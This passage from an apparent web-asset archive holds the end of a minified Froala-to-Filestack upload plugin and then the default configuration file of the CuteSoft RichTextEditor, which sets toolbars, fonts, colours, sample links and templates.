t=!1;f.opts.videoInsertButtons=f.opts.videoInsertButtons.map(function(e){return"openFilePickerVideo"===e?(t=!0,"openFilePickerReplaceVideoOnly"):e}),t&&f.events.trigger("filestack-init-video")}function k(){kt.DEFAULTS.imageInsertButtons&&!kt.DEFAULTS.imageInsertButtons.includes("openFilePickerImage")&&kt.DEFAULTS.imageInsertButtons.push("openFilePickerImage"),kt.DEFAULTS.imageEditButtons&&!kt.DEFAULTS.imageEditButtons.includes("filestackIcon")&&kt.DEFAULTS.imageEditButtons.push("filestackIcon"),kt.DEFAULTS.videoInsertButtons&&!kt.DEFAULTS.videoInsertButtons.includes("openFilePickerVideo")&&kt.DEFAULTS.videoInsertButtons.push("openFilePickerVideo"),kt.DEFAULTS.filesInsertButtons&&!kt.DEFAULTS.filesInsertButtons.includes("openFilePicker")&&kt.DEFAULTS.filesInsertButtons.push("openFilePicker"),kt.DEFAULTS.fileInsertButtons&&!kt.DEFAULTS.fileInsertButtons.includes("openFilePickerFile")&&kt.DEFAULTS.fileInsertButtons.push("openFilePickerFile"),f.popups.onHide("image.insert",function(){var e=f.button.getButtons('button[data-cmd="openFilePickerImage"]'),t=f.button.getButtons('button[data-cmd="openFilePickerReplaceImageOnly"]');e.removeClass("fr-filestack-active"),t.removeClass("fr-filestack-active")}),f.popups.onHide("video.insert",function(){var e=f.button.getButtons('button[data-cmd="openFilePickerVideo"]'),t=f.button.getButtons('button[data-cmd="openFilePickerReplaceVideoOnly"]');e.removeClass("fr-filestack-active"),t.removeClass("fr-filestack-active")}),f.popups.onHide("filesManager.insert",function(){f.button.getButtons('button[data-cmd="openFilePicker"]').removeClass("fr-filestack-active")});var e=f.opts.filestackOptions.pickerOptions?Object.assign({},f.opts.filestackOptions.pickerOptions,{accept:f.opts.filestackOptions.pickerOptions.accept?f.opts.filestackOptions.pickerOptions.accept:[],fromSources:f.opts.filestackOptions.pickerOptions.fromSources?f.opts.filestackOptions.pickerOptions.fromSources:[]}):{accept:[],fromSources:[]};e.fromSources=function i(t,e){if(!e||0===e.length)return t;var n=[];return e.forEach(function(e){-1<t.indexOf(e)&&n.push(e)}),0===n.length&&m(s),n}(kt.FILESTACK_PICKER_OPTIONS_FROMSOURCES_MAX_SUPPORTED,e.fromSources),e.onOpen=function(e){f.events.on("window.mouseup",function(e){if(document.getElementById("__filestack-picker")&&f.helpers.isMobile())return e.preventDefault(),e.stopPropagation(),!1},!0),!1===f.events.trigger("filestack.filestackPickerOpened",[e],!0)&&f.edit.on();var t=f.selection.get();t&&(t.anchorNode,t.anchorOffset)},e.onUploadDone=function(e){return function i(e){if("undefined"!=typeof e.filesUploaded){var r,t=He(e.filesUploaded);try{var n,a=function a(){var t=r.value;if(A(t.mimetype)||t.mimetype.includes("image/jpeg")||t.mimetype.includes("image/png")||t.mimetype.includes("image/")||t.mimetype.includes("video/")||t.mimetype.includes("audio/mpeg")){t.mimetype.includes("image/")&&_(!0),t.mimetype.includes("video/")&&S();var n=function n(e){t.mimetype.includes("image")?e.next().is("br")&&e.next().remove():(e.next()&&e.next().is("br")&&e.next().remove(),e.prev()&&e.prev().is("br")&&e.prev().remove()),f.selection.setAfter(e[0])};if(!c(e)||D||B||(t.mimetype.includes("ogg")?f.file.insert(t.url,t.filename,null):t.mimetype.includes("image")?(f.image.insert(t.url,!1,null,null),f.events.on("image.loaded",n)):t.mimetype.includes("video")?(f.events.on("video.inserted",n),f.video.insertHtmlVideo(t.url,null,null,null,null)):t.mimetype.includes("audio/mpeg")?(f.events.on("video.inserted",n),f.video.insertHtmlVideo(t.url,null,null,null,null,"audio")):A(t.mimetype)&&f.file.insert(t.url,t.filename,null)),D)return f.image.insert(t.url,!1,null,D),D=null,{v:void 0};if(B)return f.video.insertHtmlVideo(t.url,!1,null,B),B=null,{v:void 0}}};for(t.s();!(r=t.n()).done;)if(n=a())return n.v}catch(o){t.e(o)}finally{t.f()}}}(e)},e.onFileUploadFailed=w,e.onClose=L,e.onCancel=T,f.opts.filestackOptions.pickerOptions=e;var a=function a(e){var t="IMG"===e.target.tagName,n="VIDEO"===e.target.tagName,r=e.target.src&&e.target.src.includes(kt.FILE_STACK_URL_PART)&&!e.target.src.includes("blob:");t?_(r):n&&S()},t=f.helpers.isMobile()&&!f.helpers.isWindowsPhone();if(f.events.on(t?"touchend":"click",a,t),f.events.on("drop",function(){_(!1),S()},!0),f.opts.filestackOptions.uploadToFilestackOnly&&!f.opts.iframe&&!f.opts.fullPage){if(p&&y()&&C()){var n=filestackDnD.init(p,f.el);n&&n.on("uploadFileFinish",function(e){if(e.files[0].mimetype.includes("image/")&&_(!0),e.files[0].mimetype.includes("video/")&&S(),A(e.files[0].mimetype)||e.files[0].mimetype.includes("pdf")||e.files[0].mimetype.includes("image/jpeg")||e.files[0].mimetype.includes("image/png")||e.files[0].mimetype.includes("image/")||e.files[0].mimetype.includes("video/")||e.files[0].name&&e.files[0].name.includes(".ogg")){var t=function t(e){f.popups.hide("filestackPlugin.error"),f.selection.setAfter(e[0])};if(e.files[0].mimetype.includes("image"))c(e)&&(f.image.insert(e.data.url,!1),f.events.on("image.inserted",t));else e.files[0].mimetype.includes("video")?(f.video.insertHtmlVideo(e.data.url),f.events.on("video.inserted",t)):(e.files[0].mimetype.includes("pdf")||A(e.files[0].mimetype)||e.files[0].name&&e.files[0].name.includes(".ogg"))&&f.file.insert(e.data.url,e.data._file.name,null);f.popups.hide("filestackPlugin.error")}})}f.events.on("drop",function(e){return p?y()?C()?(f.markers.remove(),f.markers.insertAtPoint(e.originalEvent),f.$el.find(".fr-marker").replaceWith(kt.MARKERS),0===f.$el.find(".fr-marker").length&&f.selection.setAtEnd(f.el),v("Image loading","",!0,{x:e.originalEvent.x,y:e.originalEvent.y})):v(b()+" not enabled. Do you want to enable?","openFilePicker"):(d(l[h]),f.popups.show("filestackPlugin.error",e.originalEvent.x,e.originalEvent.y)):(d(l[u]),f.popups.show("filestackPlugin.error",e.originalEvent.x,e.originalEvent.y)),e.preventDefault(),e.stopPropagation(),!1},!0)}var r=document.getElementById("insertImage-".concat(f.id));r&&r.addEventListener("mouseup",function(){var t=!1;f.opts.imageInsertButtons=f.opts.imageInsertButtons.map(function(e){return"openFilePickerReplaceImageOnly"===e?(t=!0,"openFilePickerImage"):e}),t&&f.events.trigger("filestack-init")});var o=document.getElementById("insertVideo-".concat(f.id));o&&o.addEventListener("mouseup",function(){var t=!1;f.opts.videoInsertButtons=f.opts.videoInsertButtons.map(function(e){return"openFilePickerReplaceVideoOnly"===e?(t=!0,"openFilePickerVideo"):e}),t&&f.events.trigger("filestack-init-video")}),f.events.on("image.loaded",function(e){(!e[0].src.includes(kt.FILE_STACK_URL_PART)||e[0].src.includes(kt.FILE_STACK_URL_PART)&&e[0].src.includes("blob:"))&&setTimeout(function(){var e=document.querySelector("#filestackIcon-".concat(f.id));e&&e.parentNode.removeChild(e)},10)})}return f.events.on("filestack.imageTransformation.click",function(){!function o(e){D=e;var n=f.image.get()[0].currentSrc||"",t=filestack.init(E),r=new FilestackTransform(t);r.setConfigKey("output.blob",!0),r.open(n).then(function(e){t.upload(e).then(function(e){var t=f.selection.save();void 0!==n&&(f.image.insert(e.url,!1,null,D),D=null,f.selection.restore(t))}),t.on("upload.error",function(){m(i)})}),f.events.on("keydown",function(){var e=document.getElementsByClassName("fs-transforms-container");f.helpers.isMobile()&&e&&e[0].childNodes&&e[0].childNodes.length&&(D=null)});var a=f.button.getButtons('button[data-cmd="filestackIcon"]');r.on("canvas:save",function(){a.removeClass("fr-filestack-active"),v("Image loading","",!0,{x:D.offset().left,y:D.offset().top+D.height()})}),r.on("canvas:cancel",function(){a.removeClass("fr-filestack-active")})}(f.image.get())}),f.events.on("filestack.imageTransformation.error",function(){m(9)}),{_init:k,showFilestackPopup:function R(e,t,n){if(!e)return!1;var r;if("openFilePicker"===e||"openFilePickerFile"===e?r=kt.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED:"openFilePickerImageOnly"===e||"openFilePickerReplaceImageOnly"===e||"openFilePickerImage"===e?r=kt.FILESTACK_PICKER_OPTIONS_IMAGE_ONLY_SUPPORTED:"openFilePickerVideoOnly"!==e&&"openFilePickerReplaceVideoOnly"!==e&&"openFilePickerVideo"!==e||(r=kt.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED),!E)return m(u,e),!1;if(!y())return m(h,e),!1;if(!C())return v(b()+" not enabled. Do you want to enable?",e),!1;if(!p&&0===!Object.keys(f.opts.filestackOptions).length)return m(10,e),!1;t&&(D=t),n&&(B=n);var a,o=f.opts.filestackOptions.pickerOptions?Object.assign({},f.opts.filestackOptions.pickerOptions,{accept:f.opts.filestackOptions.pickerOptions.accept?f.opts.filestackOptions.pickerOptions.accept:[],fromSources:f.opts.filestackOptions.pickerOptions.fromSources?f.opts.filestackOptions.pickerOptions.fromSources:[]}):{accept:[],fromSources:[]};a=f.opts.fileAllowedTypes&&1===f.opts.fileAllowedTypes.length&&"*"===f.opts.fileAllowedTypes[0]?kt.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED:f.opts.fileAllowedTypes,0===o.accept.length&&(o.accept=kt.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED);var i=kt.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED;f.opts.videoAllowedTypes&&(i=f.opts.videoAllowedTypes.map(function(e){return"mp3"===e?"audio/".concat(e):"video/".concat(e)})),"openFilePickerImageOnly"===e||"openFilePickerReplaceImageOnly"===e||"openFilePickerImage"===e?r=f.opts.imageAllowedTypes.map(function(e){return"image/".concat(e)}):"openFilePickerVideoOnly"===e||"openFilePickerReplaceVideoOnly"===e||"openFilePickerVideo"===e?r=i:"openFilePickerFile"===e&&(r=a);var s=o.maxFiles;(t||n)&&(s=1);var l="openFilePicker"===e?function d(t,e){if(!e||0===e.length)return t;var n=[];return e.forEach(function(e){-1<t.indexOf(e)&&n.push(e)}),0===n.length&&m(g),n}(r,o.accept):r,c=Object.assign({},o,{accept:l,maxFiles:s});try{p.picker(c).open(),f.popups.hideAll(),f.selection.save()}catch(x){0===Object.keys(f.opts.filestackOptions).length&&m(8,e)}},isBrowserSupported:y}},kt.DefineIcon("filestackIcon",{ALT:"Open Filestack file picker",NAME:"filestack",SVG_KEY:"filestackIcon"}),kt.DefineIcon("filestackIconAdd",{ALT:"Open Filestack file picker",NAME:"filestackAdd",SVG_KEY:"filestackIconAdd"}),kt.DefineIcon("imageTransformations",{ALT:"Open Filestack image transformations",NAME:"imageTransformations",SVG_KEY:"imageTransformations"}),kt.DefineIcon("imageFilestackOnly",{template:"svgMultiplePath",PATHS:'<path d="M11.1 15.8h7.7V5.7H5.1v4.2H3.4V5.7c0-.9.8-1.7 1.7-1.7h13.7c.9 0 1.7.8 1.7 1.7v10.1c0 .9-.8 1.7-1.7 1.7h-7.7v-1.7Zm0-2.5 2.6-3.4h.2l3.3 4.2h-6.1v-.8ZM8.9 6.9c.7 0 1.3.6 1.3 1.3s-.6 1.3-1.3 1.3-1.3-.6-1.3-1.3.6-1.3 1.3-1.3Z"/><path d="M11.1 17.5 8.7 20v-2.5h2.4Zm-4.9-1.6v.9h-.9v-.9h.9Zm4.9.9h-.9v-6H3.5V19h4.6v.9H2.5V9.8h8.6v7Zm-3.4-1.6H5.3v-.9h2.4v.9Zm.6-2.5v.9h-3v-.9h3Z"/>'}),kt.DefineIcon("videoFilestackOnly",{template:"svgMultiplePath",PATHS:'<path d="m11 11.3 1 2.6h3.6V6.8h-9v3.6H4.8V6c0-.2.1-.5.3-.6s.4-.3.6-.3h10.8c.2 0 .5.1.6.3s.3.4.3.6v3.1l2.1-2c.3-.3.6-.3 1-.2.3 0 .6.5.6.8v5.5c0 .4-.2.7-.6.8-.3.1-.7 0-1-.2l-2.1-2v3.1c0 .2 0 .5-.3.6-.2.2-.4.3-.6.3H12V14l-1-2.7Z" /><path d="M11.1 17.5 8.7 20v-2.5h2.4Zm-4.9-1.6v.9h-.9v-.9h.9Zm4.9.9h-.9v-6H3.5V19h4.6v.9H2.5V9.8h8.6v7Zm-3.4-1.6H5.3v-.9h2.4v.9Zm.6-2.5v.9h-3v-.9h3Z"/>'}),kt.RegisterCommand("openFilePicker",{type:"button",icon:"filestackIcon",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePicker"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePicker")},plugin:"filestack"}),kt.RegisterCommand("openFilePickerImageOnly",{type:"button",icon:"imageFilestackOnly",title:"Open Filestack Image Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerImageOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerImageOnly",this.image&&this.image.get())},plugin:"filestack"}),kt.RegisterCommand("openFilePickerImage",{type:"button",icon:"filestackIcon",title:"Open Filestack Image Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerImage"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerImage",this.image&&this.image.get())},plugin:"filestack"}),kt.RegisterCommand("openFilePickerReplaceImageOnly",{type:"button",icon:"filestackIconAdd",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerReplaceImageOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerReplaceImageOnly",this.image&&this.image.get())},plugin:"filestack"}),kt.RegisterCommand("openFilePickerVideoOnly",{type:"button",icon:"videoFilestackOnly",title:"Open Filestack Video Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerVideoOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerVideoOnly",null,this.video&&this.video.get())},plugin:"filestack"}),kt.RegisterCommand("openFilePickerVideo",{type:"button",icon:"filestackIcon",title:"Open Filestack Video Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerVideo"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerVideo",null,this.video&&this.video.get())},plugin:"filestack"}),kt.RegisterCommand("openFilePickerReplaceVideoOnly",{type:"button",icon:"filestackIconAdd",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerReplaceVideoOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerReplaceVideoOnly",null,this.video&&this.video.get())},plugin:"filestack"}),kt.RegisterCommand("filestackIcon",{type:"button",icon:"imageTransformations",title:"Image Transformations",plugin:"filestack",callback:function(){var e=!1,t=this.image.get(0)[0];(t&&t.currentSrc&&(e=t.currentSrc.includes(kt.FILE_STACK_URL_PART)&&!t.currentSrc.includes("blob:")),e)?(this.button.getButtons('button[data-cmd="filestackIcon"]').addClass("fr-filestack-active"),this.events.trigger("filestack.imageTransformation.click")):this.events.trigger("filestack.imageTransformation.error")}}),kt.RegisterCommand("openFilePickerFile",{type:"button",icon:"filestackIcon",title:"Open Filestack Upload File",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerFile"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerFile")},plugin:"filestack"}),kt}); rte.js 0000674 00001272500 00000000000 0005647 0 ustar 00 /** * @license Copyright (c) 2003-2020, richtexteditor - CuteSoft Components Inc. All rights reserved. * For licensing, see http://richtexteditor.com/license.aspx */ if (!window.RTE_DefaultConfig) window.RTE_DefaultConfig = { }; RTE_DefaultConfig.editablePaddingTop = 2; RTE_DefaultConfig.editablePaddingBottom = 2; RTE_DefaultConfig.editablePaddingLeft = 2; RTE_DefaultConfig.editablePaddingRight = 2; RTE_DefaultConfig.zIndexFullPage = "9999"; RTE_DefaultConfig.zIndexFloat = "99999"; RTE_DefaultConfig.zIndexDialog = "999999"; RTE_DefaultConfig.zIndexDropDown = "9999999"; RTE_DefaultConfig.fontNameDropDownMinWidth = "90px"; RTE_DefaultConfig.fontNameDropDownMaxWidth = "140px"; RTE_DefaultConfig.tooltipAttribute = "rte-tooltip"; //change to "no-tooltip" to hide tooltip RTE_DefaultConfig.timeoutAddToUndo = 900; //When uses types fast, wait 900ms to add undo item. RTE_DefaultConfig.skin = "default"; // default, rounded-corner, gray or blue. Sets the skin for how the toolbar is draw. Create your custom skin or choose from predefined skins. RTE_DefaultConfig.toolbar = "default"; // default, basic or full. Auto configures the toolbar with a set of buttons on desktop. RTE_DefaultConfig.toolbarMobile = "mobile"; // The toolbar set on mobile devices. RTE_DefaultConfig.maxWidthForMobile = 992; // When the screen (browser window) gets smaller than 992, editor should have mobile toolbar. RTE_DefaultConfig.urlType = "default"; //default(do nothing),absolute(all change to http(s)://...),relative(all change to /...) RTE_DefaultConfig.enableDragDrop = true; // Enables or disables drag-and-drop support for the editor. RTE_DefaultConfig.enableObjectResizing = true; //Specifies whether or not to allow the users resize an object winthin the RichTextEditor. RTE_DefaultConfig.toggleBorder = true; //Specifies the ToggleBorder state. ToggleBorder is a handy function which allows you to see the borders without setting things to border = 1 or something like that in code. RTE_DefaultConfig.readOnly = false; //Gets or sets a value which indicates whether the RichTextEditor should be an active HTML editor, or a read-only document viewer. RTE_DefaultConfig.editorResizeMode = "both"; //both, height or none. Gets or sets the resize mode. RTE_DefaultConfig.showPlusButton = true; // Specifies whether to display the editor plus button. RTE_DefaultConfig.showTagList = true; // Specifies whether to display the tag selector in the editor bottom bar. RTE_DefaultConfig.showStatistics = true; //Specifies whether to display the content statistics in the editor bottom bar. RTE_DefaultConfig.showSelectedBlock = true; //show selected paragraph as [__rte_select_block]{...} RTE_DefaultConfig.focusOnLoad = false; // Specifies whether the editor grabs focus when the page loads. If this property is set to true then the editor will take focus, if it is set to false it will not. RTE_DefaultConfig.allowScriptCode = false; //Specifies whether to strip all script elements and script contents from the html to prevent javaScript injection. When this property is set to false (the default) Rich Text Editor strips all script elements and script contents from the html. RTE_DefaultConfig.showFloatTextToolBar = false; // Specifies whether to display the FloatTextToolBar. RTE_DefaultConfig.showFloatLinkToolBar = true; // Specifies whether to display the FloatLinkToolBar. RTE_DefaultConfig.showFloatImageToolBbar = true; // Specifies whether to display the FloatImageToolBbar. RTE_DefaultConfig.showFloatTableToolBar = true; // Specifies whether to display the FloatTableToolBar. RTE_DefaultConfig.showFloatParagraph = true; // Specifies whether to display the FloatParagraph. RTE_DefaultConfig.maxHTMLLength = 0; // Gets or sets the maximum number of characters including the HTML tags allowed in the RichTextEditor. Default is -1, indicating no maximum. RTE_DefaultConfig.maxTextLength = 0; //Gets or sets the maximum number of characters excluding the HTML tags allowed in the RichTextEditor. Default is -1, indicating no maximum. RTE_DefaultConfig.tagWhiteList = []; // The white list contains a list of tags that can be used in the editor. RTE_DefaultConfig.tagBlackList = []; // The black list contains a list of tags that cannot be used in the editor. RTE_DefaultConfig.tabSpaces = 4; //Gets or sets the number of spaces to be inserted when the user hits the "tab" key. RTE_DefaultConfig.enterKeyTag = "p" // Determines what happens when the "enter" key is pressed in the editor. div, p or br. RTE_DefaultConfig.pasteMode = "Auto"; // Specifies the manner in which the editor handles pasted text. Auto,Disabled,PasteText,PasteWord. RTE_DefaultConfig.floatParagraphPos = "left";//left or right RTE_DefaultConfig.floatParagraphPosX = 0; //x offset RTE_DefaultConfig.floatParagraphPosY = 0; //y offset RTE_DefaultConfig.url_base = "/richtexteditor"; // Specifies a base URL of richtexteditor RTE_DefaultConfig.contentCssUrl = "%url_base%/runtime/richtexteditor_content.css"; // Specifies the location of the style sheet that will be used by the editable area. RTE_DefaultConfig.previewCssUrl = "%url_base%/runtime/richtexteditor_preview.css"; // Specifies the location of the style sheet that will be used by the preview window. RTE_DefaultConfig.previewScriptUrl = "%url_base%/runtime/richtexteditor_preview.js"; // Specifies the location of javascript file that will be used by the preview window. RTE_DefaultConfig.helpUrl = "%url_base%/runtime/help.htm" RTE_DefaultConfig.contentCssText = "";//"body{background-color:#eee}"; Gets or sets inline CSS text that will be used by the editable area. //TODO:add api example RTE_DefaultConfig.previewCssText = "";//"body{background-color:#eee}"; Gets or sets inline CSS text that will be used by the preview window. //TODO:add api example RTE_DefaultConfig.editorBodyCssClass = ""; //Gets or sets the class of editing area to switch styles. RTE_DefaultConfig.editorBodyCssText = ""; // Gets or sets inline CSS text that will be used by the editable body. RTE_DefaultConfig.paragraphClass = null; // auto add class name to new paragraphs RTE_DefaultConfig.insertTableTag = "<table></table>"; // Default table attributes when inserting a table. RTE_DefaultConfig.insertRowTag = "<tr></tr>"; // Default row attributes when creating table row. RTE_DefaultConfig.insertCellTag = "<td><br/></td>"; // Default cell attributes when inserting a cell. RTE_DefaultConfig.insertOrderedListItems = [["decimal", "1,2,3,4,5"], ["lower-alpha", "a,b,c,d,e"], ["upper-alpha", "A,B,C,D,E"], ["lower-roman", "ⅰ,ⅱ,ⅲ,ⅳ,ⅴ"], ["upper-roman", "Ⅰ,Ⅱ,ⅢⅢ,Ⅳ,Ⅴ"]]; RTE_DefaultConfig.insertUnorderedListItems = [["disc", "Disc"], ["circle", "Circle"], ["square", "Square"]]; RTE_DefaultConfig.fontSizeItems = "8,9,10,11,12,13,14,16,18,24,36,48,60,72,96";// A predefined set of font sizes. RTE_DefaultConfig.fontNameItems = "Arial,Arial Black,Comic Sans MS,Courier New,Tahoma,Georgia,Helvetica, Segoe UI,Sans-Serif,Impact,Times New Roman,Verdana";// A predefined set of font names. RTE_DefaultConfig.lineHeightItems = "100%,150%,200%,250%,300%,350%,400%,450%,500%,600%"// A predefined set of line height items. // all text name shall be lower case RTE_DefaultConfig.paragraphItems = "Normal,H1,H2,H3,H4,H5,H6"// A predefined set of format blocks. RTE_DefaultConfig.characterItems = [ { tab: "Unicode", items: ["ƒ", "Α", "Β", "Γ", "Δ", "Ε", "Ζ", "Η", "Θ", "Ι", "Κ", "Λ", "Μ", "Ν", "Ξ", "Ο", "Π", "Ρ", "Σ", "Τ", "Υ", "Φ", "Χ", "Ψ", "Ω", "α", "β", "γ", "δ", "ε", "ζ", "η", "θ", "ι", "κ", "λ", "μ", "ν", "ξ", "ο", "π", "ρ", "ς", "σ", "τ", "υ", "φ", "χ", "ψ", "ω", "ϑ", "ϒ", "ϖ", "•", "…", "′", "″", "‾", "⁄", "℘", "ℑ", "ℜ", "™", "ℵ", "←", "↑", "→", "↓", "↔", "↵", "⇐", "⇑", "⇒", "⇓", "⇔", "∀", "∂", "∃", "∅", "∇", "∈", "∉", "∋", "∏", "−", "−", "∗", "√", "∝", "∞", "∠", "⊥", "⊦", "∩", "∪", "∫", "∴", "∼", "≅", "≅", "≠", "≡", "≤", "≥", "⊂", "⊃", "⊄", "⊆", "⊇", "⊕", "⊗", "⊥", "⋅", "⌈", "⌉", "⌊", "⌋", "〈", "〉", "◊", "♠", "♣", "♥", "♦"] } , { tab: "ASCII", from: 33, to: 126 } , { tab: "European", from: 192, to: 255 } , { tab: "Roma", from: 913, to: 1014 } , { tab: "Webdings", font: "Webdings", from: 33, to: 255 }, { tab: "Wingdings", font: "Wingdings", from: 33, to: 255 }, { tab: "Symbol", font: "Symbol", from: 33, to: 255 }]; // A predefined set of characters. RTE_DefaultConfig.foreColorItems = ["#000000", "#993300", "#333300", "#003300", "#003366", "#000080", "#333399", "#333333", "#800000", "#ff6600", "#808000", "#008000", "#008080", "#0000ff", "#666699", "#808080", "#ff0000", "#ff9900", "#99cc00", "#339966", "#33cccc", "#3366ff", "#800080", "#999999", "#ff00ff", "#ffcc00", "#ffff00", "#00ff00", "#00ffff", "#00ccff", "#993366", "#c0c0c0", "#ff99cc", "#ffcc99", "#ffff99", "#ccffcc", "#ccffff", "#99ccff", "#cc99ff", "#ffffff"]; RTE_DefaultConfig.backColorItems = ["#000000", "#993300", "#333300", "#003300", "#003366", "#000080", "#333399", "#333333", "#800000", "#ff6600", "#808000", "#008000", "#008080", "#0000ff", "#666699", "#808080", "#ff0000", "#ff9900", "#99cc00", "#339966", "#33cccc", "#3366ff", "#800080", "#999999", "#ff00ff", "#ffcc00", "#ffff00", "#00ff00", "#00ffff", "#00ccff", "#993366", "#c0c0c0", "#ff99cc", "#ffcc99", "#ffff99", "#ccffcc", "#ccffff", "#99ccff", "#cc99ff", "#ffffff"]; RTE_DefaultConfig.linkItems = [ "https://www.intel.com" , "https://www.ibm.com" , "https://www.microsoft.com" , "https://www.google.com" , "https://www.apple.com" ] // A predefined set of links. RTE_DefaultConfig.imageItems = [ "http://richtexteditor.com/uploads/1.jpg", "http://richtexteditor.com/uploads/2.jpg", "http://richtexteditor.com/uploads/3.jpg", "http://richtexteditor.com/uploads/4.jpg", "http://richtexteditor.com/uploads/5.jpg", "http://richtexteditor.com/uploads/6.jpg" ] // For insert image by URL RTE_DefaultConfig.galleryImages = [ "http://richtexteditor.com/uploads/1.jpg", "http://richtexteditor.com/uploads/2.jpg", "http://richtexteditor.com/uploads/3.jpg", "http://richtexteditor.com/uploads/4.jpg", "http://richtexteditor.com/uploads/5.jpg", "http://richtexteditor.com/uploads/6.jpg" ]; // Default images for gallery Images dialog. RTE_DefaultConfig.htmlTemplates = [ ["My Doc 1", "<h2>MyTitleMyTitleMyTitleMyTitleMyTitleMyTitleMyTitle</h2><p>Paragraph 1 </p><p>Paragraph 2 </p><p>Paragraph 3 </p><p>Paragraph 4 </p><p>Paragraph 5 </p>"] , ["My Doc 1", "<h2>MyTitleMyTitleMyTitle</h2><p>Paragraph 1 </p><p>Paragraph 2 </p><p>Paragraph 3 </p><p>Paragraph 4 </p><p>Paragraph 5 </p>"] ];// Default html Templates for html Templates dialog. RTE_DefaultConfig.inlineStyles = [["Red", "color:red", "color:red"], ["Bold", "font-weight:bold", "font-weight:bold"], ["Mark", "my-cls-mark"], ["Warning", "my-cls-warning"]]; // Default CSS styles for inline styles dropdown. RTE_DefaultConfig.paragraphStyles = [["Red", "color:red", "color:red"], ["Bold", "font-weight:bold", "font-weight:bold"], ["Quote", "my-cls-quote"], ["LargeCenter", "my-cls-largecenter"]]; // Default CSS styles for paragraph styles dropdown. RTE_DefaultConfig.imageStyles = [["Border", "border: 1px solid #ddd; border-radius: 4px; padding: 5px;"], ["grayscale", "filter: grayscale(100%);"], ["Shadow", "box-shadow:0 0 8px gray"], ["Margin10", "margin:10px"], ["Padding:10", "padding:10px"] , ["Rounded Corners", "border-radius: 10px;"], ["Rounded Images", "border-radius: 50%;"], ["Thumbnail Image", "border: 1px solid #ddd; border-radius: 4px; padding: 5px;width:150px"]// Default CSS styles for image Styles dropdown. ]; RTE_DefaultConfig.linkStyles = [["Margin10", "margin:10px"], ["Padding:10", "padding:10px"], ["BigText", "font-size:36px"]]; // Default CSS styles for link Styles dropdown. RTE_DefaultConfig.toolbar_default = "{bold,italic,underline,forecolor,backcolor}|{justifyleft,justifycenter,justifyright,justifyfull}|{insertorderedlist,insertunorderedlist,indent,outdent,insertblockquote,insertemoji}" + " #{paragraphs:toggle,fontname:toggle,fontsize:toggle,inlinestyle,lineheight}" + " / {removeformat,cut,copy,paste,delete,find}|{insertlink,insertchars,inserttable,insertimage,insertvideo,insertdocument,inserttemplate,insertcode}|{preview,code,selectall}" + "#{toggleborder,fullscreenenter,fullscreenexit,undo,redo,togglemore}"; // Default set of buttons that appears in the rich text editor's toolbar on desktop. RTE_DefaultConfig.toolbar_mobile = "{bold,italic,underline|fontname:toggle,fontsize:toggle,menu_paragraphop|forecolor,backcolor}" + "{insertlink,insertemoji,inserttable,insertimage,removeformat}" + "#{toggleborder,fullscreenenter,fullscreenexit,undo,redo,togglemore}"; // Default set of buttons that appears in the rich text editor's toolbar on mobile. RTE_DefaultConfig.toolbar_basic = "{bold,italic,underline}|{fontname,fontsize}|{insertlink,insertemoji,insertimage,insertvideo}|removeformat|code" + "#{toggleborder,fullscreenenter,fullscreenexit,undo,redo,togglemore}"; // Basic set of buttons that appears in the rich text editor's toolbar. RTE_DefaultConfig.toolbar_full = "{bold,italic,underline,forecolor,backcolor}|{justifyleft,justifycenter,justifyright,justifyfull}|{insertorderedlist,insertunorderedlist,indent,outdent}{superscript,subscript}" + " #{paragraphs:toggle,fontname:toggle,fontsize:toggle,inlinestyle,lineheight}" + " / {removeformat,cut,copy,paste,delete,find}|{insertlink,unlink,insertblockquote,insertemoji,insertchars,inserttable,insertimage,insertgallery,insertvideo,insertdocument,inserttemplate,insertcode}" + "#{preview,code,selectall}" + " /{paragraphs:dropdown | fontname:dropdown | fontsize:dropdown} {paragraphstyle,toggle_paragraphop,menu_paragraphop}" + "#{toggleborder,fullscreenenter,fullscreenexit,undo,redo,togglemore}"; // Full set of buttons that appears in the rich text editor's toolbar. RTE_DefaultConfig.toolbar_office = "<@COMMON,ribbonpaste,pastetext,pasteword,{save,new,print}/{cut,copy,delete,find}/{undo,redo|formatpainter}><@FORMAT,[fontname,fontsize]/{bold,italic,underlinemenu|forecolor,backcolor}/{superscript,subscript,changecase|removeformat,cleancode,selectall}><@PARAGRAPHS,[paragraphs,styles]/{justifymenu,lineheight,ltr,rtl,insertlinemenu}/{insertorderedlist,insertunorderedlist,indent,outdent,insertblockquote}><@INSERT,ribbontable,insertgallery,insertimage,{insertform,insertbox,insertlayer,insertfieldset,pageproperties,help,toggleborder,fullscreen}/{insertlink,unlink,insertanchor,insertimagemap,insertdate,insertchars,virtualkeyboard}/{inserttemplate,insertdocument,insertvideo,syntaxhighlighter,insertyoutube,html5,googlemap}>"; RTE_DefaultConfig.subtoolbar_more = "{strike,superscript,subscript,ucase,lcase,inserthorizontalrule,html2pdf,insertdate} #{newdoc,load,save,print,help}"; // A set of buttons that appears in the subtoolbar of default toolbar set. RTE_DefaultConfig.subtoolbar_more_full = "{strike,ucase,lcase,inserthorizontalrule,html2pdf,insertdate} #{newdoc,save,print,help}";// A set of buttons that appears in the subtoolbar of full toolbar set. 